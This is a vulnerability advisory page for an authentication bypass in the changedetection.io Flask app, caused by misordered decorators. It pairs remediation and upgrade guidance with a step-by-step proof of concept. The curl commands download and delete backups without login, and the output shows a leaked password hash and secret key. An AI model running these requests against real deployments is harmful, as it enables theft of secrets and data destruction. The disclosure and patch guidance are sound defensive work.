Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

GHSA-jmrh-xmgh-x9j4 changedetection-io

CRITICALFix: dgtlmoon/changedetection.io@31a760c

GHSA-jmrh-xmgh-x9j4 is a critical-severity (CVSS 9.8) CWE-863 vulnerability in changedetection-io. A fix is available for changedetection-io — see the affected versions and patch details below.

changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering

Also known asCVE-2026-35490PYSEC-2026-28
Published
Apr 6, 2026
Updated
Jun 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-jmrh-xmgh-x9j4.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-jmrh-xmgh-x9j4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍changedetection-io

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3: Cross-Verification ===

Verify protected routes still require auth:
  /         -> HTTP 302 (302 = protected)
  /settings -> HTTP 302 (302 = protected)

=== RESULTS ===

PROTECTED routes (auth required, HTTP 302 -> /login):
  /              HTTP 302
  /settings      HTTP 302

BYPASSED routes (no auth needed):
  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)
  /backups/                HTTP 200 (lists all backups)
  /backups/download/<file> HTTP 200 (downloads backup with secrets)
  /backups/remove-backups  HTTP 302 (deletes all backups)

[+] CONFIRMED: Authentication bypass on backup routes!

Impact

  • Complete data exfiltration — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
  • Backup restore = config injection — Attacker can upload a malicious backup with crafted watch configs
  • SSRF — Proxy check endpoint can be triggered to scan internal network
  • Browser session hijacking — Browser steps endpoints allow controlling Playwright sessions

Remediation

Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

# Before (VULNERABLE):
@login_optionally_required
@blueprint.route('/backups/download/<filename>')
def download_backup(filename):

# After (FIXED):
@blueprint.route('/backups/download/<filename>')
@login_optionally_required
def download_backup(filename):

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIchangedetection-ioall versions0.54.8pip install --upgrade 'changedetection-io==0.54.8'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update changedetection-io to 0.54.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jmrh-xmgh-x9j4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jmrh-xmgh-x9j4 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-jmrh-xmgh-x9j4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary On 13 routes across 5 blueprint files, the `@login_optionally_required` decorator is placed **before** (outer to) `@blueprint.route()` instead of after it. In Flask, `@route()` must be the outermost decorator because it registers the function it receives. When the order is reversed, `@route()` registers the **original undecorated function**, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap. ### Details
O3 Security · Impact-Aware SCA

Is GHSA-jmrh-xmgh-x9j4 in your dependencies?

O3 Security finds GHSA-jmrh-xmgh-x9j4 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-jmrh-xmgh-x9j4: SSRF (Critical 9.8) | O3 Security